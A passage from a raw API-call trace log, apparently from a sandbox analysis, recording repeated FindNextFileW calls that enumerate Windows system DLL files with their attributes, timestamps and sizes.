ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0164.214] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0164.215] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, 